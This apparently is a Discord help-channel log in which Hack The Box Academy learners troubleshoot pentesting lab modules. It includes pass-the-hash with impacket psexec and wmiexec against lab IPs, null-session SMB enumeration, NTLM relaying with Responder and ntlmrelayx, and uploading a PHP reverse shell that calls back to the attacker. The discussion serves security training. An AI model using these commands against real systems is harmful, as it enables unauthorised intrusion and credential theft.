basically how any password authentication should work is that the password itself isn't stored, rather the hash

[bitter needle]

oh ok got it so if i have the NT hash i can login as admin without worying about the UAC restrictions

is this a common practice while doing ctf or real life pentesting

[fathom pendant]

yes

lol

not niche at all

[bitter needle]

ohhhh
wow

[barren kite]

SUPER common lol

[bitter needle]

😢

but thanks a lot for the valuable info u guys shared

i learned a lot bcz of this convo

[fathom pendant]

it's passed off differently with PTH techniques

[bitter needle]

[fathom pendant]

basically the way the PTH code works is it skips the password hashing part and says "hey look at this and compare"

[bitter needle]

oh so which is the safer method?

[fathom pendant]

you don't use PTH for standard login

[bitter needle]

got it

[fathom pendant]

not sure what you mean "safer"

you use your password all the time to log in

an attacker would use the hash because the authentication mechanism allows for it

[fresh wedge]

python3 /usr/share/doc/python3-impacket/examples/psexec.py -hashes :whwhwhwhwhhw Administrator@10.129.61.157

i have tried this aswell as xfreerdp aslos from runas Administrator cmd i just dont get it

[bitter needle]

ok understood,
safer was in terms as PTH bypasses the usual pass hashing was it inherently less secure

but i understand now

it doesnt make it less secure

thanks 💯

[bitter needle]

u sure the NT part is correct?

and while searching up on google, i found psexec needs SMB enabled

maybe try wmiexec

[barren kite]

Have you passed the hash with cme? May have the wrong hash or trying it against the wrong host

or try using evil winrm

[lapis sky]

I need help with mssql attacks, i need resources, what happened in attack common services hard lab is abusing

[rustic sage]

Your daily take care message

Hello everyone I hope you have an amazing day today staying safe, drinking water, staying hydrated, eat a snack, take a shower n take your meds if you need to.

And remember that someone is happy that you exist and I’m so proud of you all. Stay amazing y’all, take breaks when needed and take care of yourself first. Love y’all and stay awesome

[cyan arch]

Hi, I'm doing the backup and restore page within linux fundamentals and it is asking me for the htb user password, what is this for default?

Okay nevermind, I changed the command because I am just copying files to a backup on the same system just to test the command. I am still curious as to the default password for the htb user for future use?

[lapis sky]

I realized it was a whole technique like the impersonating thing, but with mssql right?

[fathom pendant]

@fresh wedge please avoid sharing things like hashes

:)

[signal hound]

Hello im trying to use kerbrute to get some valid users
But kerbrute gets stuck when using jsmith.txt
But is doing well when using a small list
How can i resolve this?

And why it happens?

[compact halo]

Hello, i am having an issue with a module. I wanted to check here first before i hit up support. Is anyone avialable?

[lusty thicket]

ask your question, someone here might be able to help

[compact halo]

Thank you! On AS-REPRoasting Challenge questions (Kerberos Attacks) It says to login with a specific user and pass. Each time I try to log in it ives me a bad user/pass. I've tried with local and domain user once i go to the login screen. Just curious if i am missing something here

[compact halo]

Never mind. After the 3rd reset it finally worked

[cloud urchin]

I just tested this and it worked for me. Are you sure you're connecting to the right target? Try with xfreerdp3 or something.

[compact halo]

IYes i was connected to the right target. not sure what happen. I even changed vpns, but it worked after the 3rd reset. Thanks a bunch for trying as well. I appreciate it

[storm elk]

You deserve a raise Nuts

Or a few more nuts

[lapis sky]

?

[fallow kernel]

What do you mean? What you need to do is in the Atacking SQL Databases module from Attacking Common Services right?

[lapis sky]

the mssql attack in attack common service hard lab

[fallow kernel]

Yeah what is the problem?

[lapis sky]

i wanted to know the technique exactly in the conclusion what are you trying to do, it was impersonating users via mssql right?

[fallow kernel]

Yes

[lapis sky]

damn, the technique is really cool but was real pain

took me a lot of time

[fallow kernel]

Yeah the sqlcmd program is a bit goofy

[stiff bone]

The SPN Jacking module had problems getting the NTLM hash of the user in the context of which I should abuse access in the last task. I used different techniques, but the module clearly gave a hint that I should use the Shadow Credentials technique. I used the Whisker tool from Linux and Windows, but I get the same problem [X] KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP.

[quiet trout]

https://academy.hackthebox.com/module/112/section/1079

im getting a permissions denied error when trying to cd into the identified mount location from enumeration... it mounted succesfully but i cant access it... is this not the way forward?

[cloud urchin]

You don't need to use shadow credentials for SPN jacking part of DACL 2... you can do what's in the section

[quiet trout]

im going back over my notes and the associated module but not seeing anything in particular

[stiff bone]

can i write to you in dm?

[cloud urchin]

sure

[safe star]

Did you go in as root?

[quiet trout]

like uh sudo mount? if so then yess

[safe star]

Cd

[quiet trout]

i tried sudo cd and it gave me some error i didnt note at the time let me try it again

i also mounted it in ~/nfs

should i have mounted it in /mnt/nfs or similar?

[safe star]

Nah

Is it the nobody group?

[quiet trout]

yes funnily enough sudo ls ~/nfs is showing files

let me try the cd again its possible i ... mispelled? it?

unlikely but lets see

[safe star]

switch to root

[quiet trout]

is that gonna be sudo -l in this instance?

er sudo -i? or whatever it is?

or su root?

i never know when to use what

[safe star]

su root, sudo su

[quiet trout]

oh gosh

So whats going on here? is nobody and nogroup actual users/groups and thats causing the conflict?

i thought those were globs for whatever for anonymous?

[safe star]

I think it has something to do with root squash but not 100% sure

[quiet trout]

thanks that was lost on me

[polar bolt]

👋 Last night I completed Starting Point. This morning I spun up OpenVPN Initialization Sequence Completed and I cannot ping the server, I get request timeout. I tried Pwnbox and I'm getting the same thing. I've tried restarting my computer. I've tried using both my wifi and tethering to my phone. I'm not sure what else I should be checking here.

[safe star]

Did you start the target?

[compact halo]

Please forgie the question. are you trying to ping a windows host?

[polar bolt]

I've tried 3 different targets now.

Looks like I can't upload screenshots here.

https://app.hackthebox.com/machines/Cap
Displays Target IP Address 10.10.10.245
OpenVPN displays Initialization Sequence Completed
and pinging gives

ping 10.10.10.245
PING 10.10.10.245 (10.10.10.245): 56 data bytes
Request timeout for icmp_seq 0
Request timeout for icmp_seq 1
^C```

[safe star]

Is that a starting point machine?

Starting point and the other machines have different vpns

[polar bolt]

I feel like I'm experiencing multiple issues 😓

I clicked on the Machines tab on the left sidebar and chose the UnderPass challenge. I also got VPN credentials for Machines from the top rigth corner and I started UnderPass and I'm still getting timeouts.

[safe star]

Try sudo killall openvpn and try again

Ip route also to check

[polar bolt]

Whelp now at least I can connect via the Virtual Machine. Still can't get OpenVPN to work.

[compact halo]

On your VM what's your NIC set to?

[polar bolt]

Some combination of things, including sudo killall openvpn caused it to work 🙃

[compact halo]

Bridged, Auto, etc? Not sure which platform you are using

ok, my bad. I had that issue once with Fusion

[polar bolt]

That was a fun learning opportunity. Yall are awesome, thanks for all the help.

Your answer answers the question "How would you text align an H1 element"

To match the format of the question, I'm guessing the answer is text-align: left

[storm elk]

The format was there in the question 😅

[acoustic owl]

Read and follow #welcome to upload images here

[polar bolt]

Hmm I did that last night but I guess I did it wrong.

[thin cradle]

Hello @acoustic owl Where do I get help from HTB staff regarding HTB academy modules question. Im stuck at this one for hours

[acoustic owl]

If you have an annual subscription, you have access to the complete solution. Otherwise there is no help from the staff.
Just ask your question here on Discord and someone, maybe even from the staff, will hopefully be able to help you

[thin cradle]

Im doing question 1 of DACL II skills assessment. I have set up chisel just like the solution pointed but when i run finddelegation its just timing out.

[wide crater]

Hello, im pretty new to pentesting and did the web requests module, but i got stuck at crud api, there is one exercise, but i dont seem to understand, its this one: Exercise: Try adding a new city through the browser devtools, by using one of the Fetch POST requests you used in the previous section.

[rustic sage]

i have a question regarding Skills Assessment - File Upload Attacks module. i got the ||upload.php|| file, in which the file gets ||renamed before storing|| with this style: ||ymd|| which should mean ||250330|| right ?

complete filename would be: ||250330_name|| but i can't get that file

but cant find the file under the upload directory ||user_feedback_submissions||

[gray yacht]

I just used ligolo, so if you are familiar with it, might be a good alternative to whatever the provided solution is using.

[stuck zodiac]

In the Live Engagement for host one, has anyone tried the 2nd upload vulnerability suggested in the hints?

[steel coral]

sorry to ask maybe I'm not that updated but how do I access doxbin?

[cloud urchin]

What? This channel is for discussion about the Academy platform on HackTheBox. This server isn't for illegal stuff or doxxing people.

[compact halo]

Same issue again with this module. Can't log in even though i waited for 10 minutes instead of the2 to 3 the module says.

[cloud urchin]

which module/section and what's the error

[compact halo]

I tried xfreerdp(3) and can't get access - Unconstrained Delegation - Computers (Kerberos Attcks). https://academy.hackthebox.com/module/25/section/142

I am giong to wait for about 20 minuts this time and maybe it'll work, lol

[cloud urchin]

try removing the password from your connection command

and the -p argument entirely

then remote in and type the password into the password field

[compact halo]

same result. I tried that last time i had this issue and it didn't work.

I might need to go to next section and double back later.

[cloud urchin]

try it again but remove the prefix from the username

[compact halo]

ok

[compact halo]

I even tried with the local user even though it's supposed to be domain (just for kicks)

[gray yacht]

Are you using the correct port?

[cloud urchin]

Good call r1cky

[compact halo]

Good catch. My bad. But still no login

[cloud urchin]

that's not how you select the port with xfreerdp iirc

try /port:

[compact halo]

my bad. When i did xfreerdp -h it showed that's how you select port

[cloud urchin]

weird i've never done that, man shows /p:

[compact halo]

Still no log in

I already reboot my system and reset the vpn.

[waxen totem]

not sure that port is an argument I think it means to add the port after the colon in the /v parameter

[compact halo]

that's what i thought too, but there is probably another way too.

[waxen totem]

I mean:

/v:<IP>:<PORT>

[compact halo]

Yup that was the first pic above the last one i posted

[waxen totem]

o mb 😅

[cloud urchin]

well you're getting connection reset by peer error, not wrong username/pass

[compact halo]

under which one?

[cloud urchin]

your latest pic

[compact halo]

Ok.

I'll probably just go ahead and double back. Maybe it'll feel sorry fo rme and work, lol

[cloud urchin]

I just tested, works fine for me with xfreerdp3

[compact halo]

not so sure what i am doing wrong.

[spiral spoke]

I think is your way if thinking, instead of rush all the modules needed or retired machines, have fun! what if I do this? what if? if I write this in a different way, be creative, be different, how this service works? some think interesting? write a python or bash script which automatize the vulnerability, if you dont know how ask chatgpt, ask why to every thing that you don't understant, have fun with hacking

[severe inlet]

sorry for the question but is there a module in HTB that teaches about the tool "ligolo"?

[cloud urchin]

No

[gray yacht]

You can run it either way.

[waxen totem]

Unfortunately no, ~~should really be taught in pivoting imo ~~

[ocean night]

Please don't post flat out solutions like that.

Sick of saying it

..so will get AI to code a solution warning bot

🤣

[severe inlet]

Ive heard from everyone that it makes pivioting really easy and everyone is using it in both OSCP and CPTS

Really hope they will teach it soon since i learn the most from HTB

[compact halo]

I tried it and still not working.

[waxen totem]

It does, but I don't think it warrants its own module, it's just that easy, also it's still better to learn other pivoting techniques through ssh, chisel, metasploit, etc. as they provide deeper level of knowledge than just, establish tunnel go brrr

[ocean night]

I'd advise Googling the error codes you are receiving, there's a very particular reason why it is failing

[compact halo]

This will be my 5th reset. I will reset and wait for about 15 minutes while reading through the next section

[severe inlet]

I guess it would be wonderful if its a section in pivoting module

[gray yacht]

If you are referring to what I posted, I didn't mean to spoil anything and figured since that is what the section provides you to login, i.e. similar to SSH into the target with htb-student... I didn't think there was any harm. Regardless I will ensure to go to DMs.

[ocean night]

Thank you.

If it's over Tier 0, pasting module content, whether part of the solution or sections, it's best to err on the side of caution and go to DM

[waxen totem]

It does have really good documentation though... https://docs.ligolo.ng/

for more information on pivoting the pivoting module is pretty good (so far... am still going through it)

[gray yacht]

You can DM if you'd like and I can look at some other things on your end.

[indigo cargo]

On the footprinting module medium, i have rdped and fount the important file but i dont see how i can use it? i have tried to do it for the db and its not correct and i cant even enter the @ sign in a "run as administrator" field

[waxen totem]

Have you tried authenticating as the other user on the machine?

[indigo cargo]

i have tried to rdp with that login

[harsh gorge]

Back to modules?

[waxen totem]

Back to ignoring my professors 😅

[waxen totem]

Not rdp in particular, just access the file 👀

[cursive eagle]

guys who did the CBBH, im in the Burp Intruder secition and my Burp has been running for too long how do I solve this

• 2 Use Burp Intruder to fuzz for '.html' files under the /admin directory, to find a file containing the flag.

[indigo cargo]

you mean the sql server?

[cursive eagle]

I literarly added the fuzzing points after the /admin and the bruteforce is working good, its just that its not catching anything and its been like this for a while

it just caught a blank page of index.html

[indigo cargo]

The password doesnt work for the sql server tho

maybe im just missing something obvious

[calm swan]

hello there,
is there anyone (in the administration or others) who could check my report/documentation of my pentest assignment? I want to learn how to write a documentation but I don't know who can I ask to check if it's correct or is it missing some important aspects.

oh I just found the Documentation and Reporting module...
Imo it should be at the beginning of the CPTS path not at the end so ppl can already write more "professional" reports.

[waxen totem]

#boxes

[indigo cargo]

alright i got it

i cant type @ for some reason in that admin menu

i found out that using a virtual keyboard was the solution by looking through the comments here in discord

[lusty thicket]

yeah, you'll write a beautifully formatted report

full of nothing

[harsh gorge]

Jesus that’s funny

[lusty thicket]

thank you

[calm swan]

wouldn't u love to see beautifully formatted nmap output?

[severe inlet]

I used FFUF or gobuster it worked way faster

since burp without the subscription is really slow thought it would be better to use something else

[rustic sage]

What's the difference between the Introduction to Networking Course and Network Foundations?

[waxen totem]

Network Foundations goes deeper

[oblique flume]

i’m on the first question of the web proxies skills assessment and it’s asking me to enable a button the the webpage /lucky.php

i found the line that disables it but it’s only in the response not the request , how can i modify this ?

[cloud urchin]

I believe that module goes over how to capture responses in Burp too

[safe star]

caido

[rustic sage]

Is anyone working on the Academy labs and can’t connect to their target host? I’m having trouble RDP and it appears unusual.

[oblique flume]

i captured it

but the line is in the response

so i can’t send the edited line back to the server

how do i go about this ?

[cloud urchin]

where can you send it to?

[severe inlet]

Try the TCP vpn it works beautifully with RDP

[oblique flume]

i can only send requests

[waxen totem]

Beautifully slow

[severe inlet]

If UDP then yes lol
But TCP saved my life

used to take an hour on each section of Active Directory Enumeration & Attacks because of RDP with UDP vpn but when i switched it took way less to finish excersies

[waxen totem]

Yeah... I'd probably just setup a pivot then work off the attacker machine

[oblique flume]

any ideas ?

[waxen totem]

You've captured the response?

[cloud urchin]

#modules message

[rustic sage]

The modules are down

[oblique flume]

yes

[rustic sage]

I’ve been ok rdp into these labs but they have now failed

[oblique flume]

there’s a string that says “disabled” , i’m able to delete it but that won’t go back to the server

[waxen totem]

https://status.hackthebox.com/

they look up to me

[rustic sage]

Module/143/section/1420

[waxen totem]

Do you need it to go back to the server? 👀

[rustic sage]

Rdp

[dense tree]

Q's: I'm in infosec mod setup: been talking about downloading an installing a linux vm

[rustic sage]

Can’t rdp I’ve been fine before

[dense tree]

Looking at Parrot OS

But why couldn't we run SeLinux cmd on Parrot?

[oblique flume]

well whenever i hit the button it adds the disabled string back, so i thought so

[waxen totem]

get anything on burp after clicking it?

[rustic sage]

I’d submit a ticket but all they will do is ask if it’s down instead of diving deep into anything

[oblique flume]

yes , i get the request

i sent it to repeater to see what the response will say but it is still disabled

as well as when i forward it

[dense tree]

Q: is it possible to run SELinux on Parrot OS eventually? If I have admin right and download the packages?

[lusty thicket]

it's not feasible

[oblique flume]

has anyone here done the web proxies module yet ?

[cloud urchin]

If you can't delete it, think about what else you may be able to do to get it working.

[balmy belfry]

hi everyone I start with ccna course can you tell me the tobic i should know it very will to be professional

[ocean night]

Huh?

[ocean night]

This is for HTB related discussions etc, but regardless you're not going to be given tutoring to pass CCNA, you should be doing that learning part yourself as part of the process.

[balmy belfry]

Ok thx

[serene drum]

So I am working on file upload attacks and in the non-blacklisted extensions section it tells you to use a certain extension, which in the lesson it works but when you try yourself it does not. I can try other extensions I am just confused why in the section it continues on as if it worked I guess

[cloud urchin]

the sections are not generally a 1:1 guide on the challenges at the end

you're supposed to apply what you've learned to the challenge

[serene drum]

Thank you for confirming that, I had a feeling and just wanted to be sure hunting for the answer myself is expected

[calm swan]

Need a hint regarding the Footprinting Lab - Medium; I discovered user and passwd for smtp but i don't know what can I do next...

cuz there's no smtp service on the target system and I dont have access on the smtp's machine

[deft burrow]

Im currently studying for the CPTS
In the Moving files modules i dont feel like i fully grasped the concept(i was able to move files but needed more umph i guess) and need additional resources.
Are there any boxes you can recommend that deal with file transfers and maybe requiring some base64 encoding to do so?

[waxen totem]

Have you tried: using the credentials for other services? 👀

[calm swan]

I just found smth, gotta test it; BRB

[calm swan]

found RDP but ughhh now I need creds to login to sql...

is it really medium lab? not hard? haha

[foggy monolith]

Curious why the hint for flag 1 of the Using CME skills assessment is so misleading. Asking you to enumerate a null session that doesn't exist.

Output:

$ nxc smb 10.129.204.182  -u "" -p ""
SMB         10.129.204.182  445    SQL01            [*] Windows 10 / Server 2019 Build 17763 x64 (name:SQL01) (domain:INLANEFREIGHT.LOCAL) (signing:False) (SMBv1:False)
SMB         10.129.204.182  445    SQL01            [-] INLANEFREIGHT.LOCAL\: STATUS_ACCESS_DENIED

Yet the hint says to review the Enumerating Null Sessions section. So what null session is that hint talking about?

[calm swan]

@waxen totem sorry but need help... I found the creds for the database (creds are 1000% correct) but I get an error login failed for user sa

[foggy monolith]

@sleek urchin

[calm swan]

using the same creds over 20 times I finally get different output:
A connection was successfully established with the server, but then an error occurred during the login process. -> No process is on the other end of the pipe

[foggy monolith]

Tried using both smbclient and rpcclient to debug this, also to no avail. Anyone?

Again, CME Skills Assessment here.

[calm swan]

ngl imma rage here soon

[foggy monolith]

Taking this to #1234357888114364508 because still nothing.

[calm swan]

nah, you GOTTA be kidding me; the problem was I didn't run the app as admin hahah

[reef magnet]

[Solved]
Hello everyone,

I'm currently working through the Windows Privilege Escalation module and encountered a possible issue in the Credential Hunting section.

In Question 2:

"Connect as the bob user and practice decrypting the credentials in the pass.xml file. Submit the contents of the flag.txt on the desktop once you are done."

I successfully connected as the bob user, decrypted the credentials, and retrieved the flag.txt file from the Desktop. However, even after submitting the correct content of flag.txt, the system still marks the answer as incorrect.

I also double-checked the result using "Show Solution", and my answer matches it exactly — yet it still gets marked wrong. It seems like this might be a bug.

Could someone assist me with this issue? I’d really appreciate any help!

[calm swan]

maybe there's a SPACE somewhere?

at the beginning or the end

[foggy monolith]

Check for non-printable characters. If you're using Wayland, there's a known issue where stuff copied and pasted from RDP often includes carriage return characters because of the differences in character handling between Windows and Linux.

[quartz lagoon]

hi, in the Web Server Pivoting with Rpivot section of the Pivoting, Tunneling, and Port Forwarding module, i can't seem to use "proxychains firefox" against the webserver because of DNS resolution problems, but i can still cURL it, does anyone know what causes this?

[serene drum]

So ive been hacking away at this for a bit and am finding myself stuck. I am currently on File upload attacks on the section 'Blacklist filters'.
I have set up burp to grab the request for an upload, fuzzed the endpoint and found a number of extensions that upload successfully but does not return a test hello world I did as the script when I sent it to the repeater to test each out.

I can't figure out what I am doing wrong.

[safe star]

You could also setup foxyproxy

[quartz lagoon]

i'm not too familiar with web attacks yet, isn't this the extension to set up proxies ?

if so, i guess i should use it to access the webserver directly from my browser right?

[safe star]

Yeah but I guess thats probably out of scope

I also used curl then

[quartz lagoon]

probably, i added it to my notes just in case but yeah curl works just fine

thanks

[serene drum]

I am stumped

[foggy monolith]

Never mind, figured it out. Module literally forces you to go back to the pre-Ligolo form of pivoting…

[dark hedge]

yep, as stated in the section

you gotta use chisel to connect to the network

[quartz lagoon]

omg Ligolo doesn't give the exact functionalities of chisel and stuff?

im currently learning about pivoting and i heard pretty much everyone here praise ligolo so i was kinda happy knowing i would have an easy way to do all of that (but i guess not lol)

[foggy monolith]

It does, but this module/section is literally designed as such that it's got Chisel preinstalled and running and you are forced to connect to it to gain an initial foothold.

[foggy monolith]

The thing that makes Ligolo more efficient, at least, is that you're using tunnel devices to tunnel the connection as opposed to a user-mode proxy. Having the kernel do the tunneling for you means you don't need to proxychains anything and it's also much faster overall.

[stiff aurora]

hello, I'm working in "Active Directory Enumeration & Attacks", I have a issues to get the first question : What is the default Minimum password length when a new domain is created? (One number)
I'm confuse how solve it first question

[ocean night]

I mean.. did you run through the sections?

Because there's literally a section dedicated to what you asked

[stiff aurora]

yes, i did in the section explain it with smb, this server dont run smb also is debian server

[ocean night]

You're missing something in that section then

I'd advise reading back over the section 🙂

Also... re-read the question

[foggy monolith]

See the "Enumerating & Retrieving Password Policies" section. There's some very important information there about this.

[serene drum]

Hello everyone. I am currently trying to finish the File Upload Attacks module, type filters section. I have gotten as far as avoiding all the countermeasures, and my shell is uploaded. The only issue is I can't seem to extract the flag even though I bypassed the protections including MIME. Any pointers are welcome, going to keep trying in the mean time.

[unique ether]

Who can I dm here on file upload attacks assessment

Ah?

I cant leak

Here

[real delta]

#1024429874246590575

[calm swan]

Just wanted to say that Footprinting Lab - Hard was awesome; fr, had so much fun ❤️

it was a bit hard at the beginning cuz I forgot about existence of one important thing but after that is was awesome

[high citrus]

Hi im currently stuck in Password Attakcs Module, Network services, trying to brute force rdp, the other had no issue, but rdp with hydra doesn seem to find anyuthing, i've been waiting for 1 hour and a half

[signal hound]

Hi
When spraying passwords against AD
Do i need to use the CN name
Or the user principal name ?

[ocean night]

Which module is this relating to?

[topaz scaffold]

hi, can anyone help me with a problem
module: Attacking Web Applications with Ffuf
section: Page Fuzzing
Found the flag but when i submit it says that it is incorrect

[storm elk]

Try to check for spaces before/after the flag

[topaz scaffold]

no spaces 😦

[storm elk]

dm me the flag and I will check 🙂

[high citrus]

Hi im currently stuck in Password Attakcs Module, Network services, trying to brute force rdp, the other had no issue, but rdp with hydra doesn seem to find anything after compliting the brute force, i used the resources given in the right way, but still it doesnt work out.

[rustic sage]

anyone got the file upload attacks skill assessment and can help me ? when i intercept request, the request doesn't come from upload.php but from submit.php

how can i get an upload request to the upload.php ? I only need this to solve the assessment

[uneven obsidian]

I'm currently working through the File Transfer module and had a quick question. When it comes to transferring files with Python, is it better to install uploadserver on the target host to upload files, or should I use Python’s built-in http.server (assuming Python is already installed) to avoid installing anything?

[waxen totem]

You'd install upload server on the ATTACK host so that you don't need to run a file server on the target host, also the upload server works both ways, e.g. you can also download stuff from its base directory

[uneven obsidian]

Thank you for the clarification !

[rustic sage]

Anyone?

[sterile epoch]

have you checked the request headers in burp?

[rustic sage]

yes nothing interesting there

[sterile epoch]

can you share the module link??

[gray yacht]

Make sure you intercept an upload.

[rustic sage]

OH MY GOD

THANK YOU

WHY IS THIS EVEN SO CONFUSING ? I THOUGHT SUBMITTING EQUALS UPLOADING

[gray yacht]

Easy to overlook. Highly suggest always taking the time to see how it functions before testing for things.

[rustic sage]

just viewing the source code yeah

making sure you dont miss anything

[stiff aurora]

ok thank you I will check that right now

[manic jasper]

guys

i have a problem

[small plume]

How to write message on other channels🧐

[manic jasper]

in sqlmap skill assessment i am sure the flag is 100% correct but when i submit it says incorrect

[bright coral]

Read #rules , #welcome and do the verification @small plume

[solar grove]

" Exploit the SSRF vulnerability to identify an additional endpoint. Access that endpoint to obtain the flag. " In the question, I just asked for the admin.php address and gave the flag in a very ridiculous way, but the question tells us to find an additional endpoint and do a lot of processing.

Exploiting SSRF

[dry falcon]

i doing this one https://academy.hackthebox.com/module/23/section/513
Skills Assessment - File Inclusion
and what i see this access.log file is not updating ? 😕

even when i refresh many time it show the same.

[solar grove]

Some rooms have been updated but the questions are old questions, how do I fix this, is there a room reset?

[worn matrix]

can someone explain to me why we need to run responder with ntlmrelayx ? i mean can't we just run ntlmrelayx?

[hazy notch]

Hey, I don't know if you found the answer, but I had the same issue. Actually this is not the right attack path. Just use a much simpler one and remember that the server may offer additional authentication protocols than the one used by the intercepted client

[lusty thicket]

without responder ntlmrelayx is just sitting there waiting for something to happen

and you also have to consider the fact that ntlmrelayx doesn't store hashes unless a relay succeeds

whereas responder grabs those hashes anyway for cracking later, so even if relaying fails you'll walk away with something useful

[proper umbra]

Anyone having issues cant copy paste on the new xfreerdp3?

[compact halo]

try wrapping the entire think in one single quote Ex:Question: wmiexec.py 'inlanefreight.local/wley:"transporter@"@172.16.5.5" if i am understanding your question right?

[compact halo]

check your DM

[worn matrix]

I am missing something for when you have to disable amb server or http on responder,in order for ntlm to work.While I have done the module ,I cannot fully comprehend thath

[alpine ingot]

I have gone through all of the examples in the python hijacking in the linux privilege escalation and none of them work.
the sudo -l is for the particular script, not just python
There are no write privileges on the library
I cant set the PYTHONPATH to /tmp, due to only being able to run the mem script
None of the PYTHONPATH Listings have write access.

The 3 prereqs for python library hacking are not present on any of the stuff related to mem_status.py

Ok i figured it out but im really confused. This is the perms so why is it writable?
-rwSrwxr-x 1 root root 192 May 19 2023 mem_status.py

[worn matrix]

@lusty thicket so its like responder is feeding ntlmrelay?

[lusty thicket]

responder by default takes the hashes for itself without letting them go to ntlmrelayx, meaniing if responder is running with smb/http enabled it'll just grab the hashes for itself, but we don't want to just capture hashes, you want to be able to relay them onto another machine so you can use them in real time, which is why you disable smb and http

[lusty thicket]

yeah responder brings in the victims and ntlmrelayx makes them hand over their hashes

[worn matrix]

we disable SMB on responder,so ntlmrelay will use port 445. aaaaaaa ok yeah i got it now.Thanks

funny thing is that i have finished the module,but still didnt comprehend this 100% ,nvm thanks

[stiff aurora]

hey guys I'm still working in What is the default Minimum password length when a new domain is created? (One number) from Enumerating & Retrieving Password Policies

but I can't find the default Minimum password length when a new domain is created

[gray yacht]

Reread that section as it is provided in it.

[stiff aurora]

unbelievable I was looking inside ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

that was inside the content information

[compact halo]

need some assistance on on Unconstrained delegation -Users (Kerberos Attacks)

[gray yacht]

You can DM

[winged gate]

hello guys i'm on active directory module, i'm stuck on that question in the privilege acces page can u help me pls ? What other user in the domain has CanPSRemote rights to a host?

i find nothing ...

[faint rampart]

what do you get when you run the cypher query
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2

[winged gate]

let me test i'll tell you

[winged gate]

omggg it works !!! thank you so much bro.. but how can i know how to build this query ?

[faint rampart]

You're welcome!
Its a long ass explanation, its basically a relationship query between 2 entities, (a user and a computer) and the relationship is who can psremote, so it puts the result in a variable p1 for users and puts the results for users in p2 and checks who can access what and finally returns p2 as the output in the graph, there are other variables serving that represent entities/AD objects

Just pass it to ChatGPT for a better explanation, its quite interesting. (this is from the module btw)

[wooden pendant]

I can help if you don't mind,you can kindly inbox me I can be of help

[faint rampart]

You have a colon included in the name for "inlanefreight.local/wley:" remove that because its recognizing that as a character thats part of the name

lol thats my point exactly wmiexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.5 look at it and compare you have a colon included in the username in quotes

[winged gate]

Alright thank you so much !

[faint rampart]

No, you tried multiple commands, and in the ones I noticed the quotes werent even, I'm just gonna grab glasses now lmao

course material is very correct lol I've done that module over 3x

wmiexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.5 try this and if it fails just revert and try again, should work.

if it fails again exclude the password from your command and input it when it prompts for the password

[round raven]

Oh my god there is just too much content. How is it expected to be kept in mind.....

[compact halo]

gotta take good note and organize them

[faint rampart]

Notes + constant practice

[compact halo]

Yes, i did forget the practice.

[faint rampart]

Ippsec would call it "Perfect practice"

[round raven]

I am revisiting AD basics and OH. MY. GOD.

its too much to read.

[faint rampart]

I had to take physical notes for that one and read it 2x a day 💀

[round raven]

same, i am taking physical notes

as well as on Notion, but god damn...I need to put some of the content down or it will be too much for tiny brain to re-read from notes.

[fathom pendant]

@faint hill your screenshot contains spoilers [password] please redact and re-ask

[faint hill]

The password is in the course material as is the UN

[fathom pendant]

It's still a module above tier 0

Not to mention cracking that pw is part of an earlier section from what I recall

It's part of the module thats above tier 0. Ergo spoiler by default

Instead of arguing with that, just redact the pw and re-ask your question

See channel description

[lime cosmos]

i have problem on cpts path HTBS academy can i ask here ?

[fathom pendant]

Literally only one minor issue with your post, that's all

[fathom pendant]

https://dontasktoask.com

[lime cosmos]

ok , i can't uploud shell.php on the web server (it work with me before i just take a rest and back and now it not work), module getting started Nibbles - Initial Foothold

i think it problem on the machine box, i restart and but still not work https://academy.hackthebox.com/module/77/section/852

[fathom pendant]

Did you upload it on the image uploader thing?

can't upload
This isn't helpful without error messages or issues when you try and reach the shell.php page

[lime cosmos]

i upload it on nibbleblog - Plugins :: My image , http://<machine-ip>/nibbleblog/admin.php?controller=plugins&action=config&plugin=my_image

[fathom pendant]

Did you adjust the payload to call back to your ip when you visit it?

Your ip being your tun0 ip

[lime cosmos]

yes before it was work and i upload multi shells . but now try to upload and it loading for 10 mints without any message respond

[fathom pendant]

? Did you visit where it was uploaded to?

The shell won't do anything until you visit it

[lime cosmos]

let me try

yes i try and i get 404 no found http://<machine-ip>/nibbleblog/content/private/plugins/my_image/image.php

[fathom pendant]

Remove the /image.php and see what files are there

If you uploaded shell.php -> the file may be named shell.php

[lime cosmos]

http://10.129.73.77/nibbleblog/content/private/plugins/my_image/
find only db.xml

[fathom pendant]

Then it didn't upload for whatever reason

[lime cosmos]

yes it not uploaded it keep loading .....and no respond

[fathom pendant]

keep loading
Thats not always a bad thing

But I suggest changing vpn regions

[lime cosmos]

lol let try my old crazy solution i think i will shutdown my laptop and try again

[fathom pendant]

When a reverse shell is run, it will continue trying to load the page

[lime cosmos]

ok

[fathom pendant]

So that's not necessarily an indication of error, the page will load when you kill the shell

[faint rampart]

Hey Marcie, perhaps that part of the module needs a little heads up incase anyone tries this in the future again or perhaps this message should be in erratum I dunno. - That user isnt an admin user in the domain hence he cant wmiexec or psexec onto the DC since he cant write to any admin shares, the module unit shows that it works which is why he was confused. I noticed this question has been asked a couple times here.

[faint rampart]

I also get the same error on my end trying.

[fathom pendant]

#1234357888114364508

I dislike how much the module overall just shows creds you had to uncover earlier on instead of relying on good notekeeping

I wasn't so much arguing with the error, just that it contains a password tbh. It's a valid issue that can be addressed

Unless I'm hallucinating and you didn't have to discover wley password in an earlier section

[faint rampart]

You did, LLMNR/NBTNS poisoning section.

[faint rampart]

Yeah I get that.

lol

[fathom pendant]

It is one of those things I've always felt meh about because you can skip ahead find the info and not put in half the work

[faint rampart]

yup, I see you're a mod now😉 welldone!

[fathom pendant]

https://tenor.com/view/thor-the-dark-world-darcy-lewis-i-dont-get-paid-period-i-dont-get-paid-i-dont-get-money-gif-22270043

[tribal lark]

is this for nibblesblog

[lime cosmos]

can i send a video here >

[serene drum]

day 2 of File Upload Attacks - Type Filters

here we go

[serene drum]

That looks like a scam

<@&861185840277487616>

[hoary sleet]

For the 1 on 1 help, do I just as a question & hope it get answer?

[compact halo]

yup

[hoary sleet]

Thank you

[gray yacht]

I'd first search the channel as you may see it's been asked before and that might be all you need to get going again.

[fallow kernel]

Yooo guys does anyone know why I get two different password hashes when dumping them from the SAM and SYSTEM files using secretdump.py versus samdump2?

[serene drum]

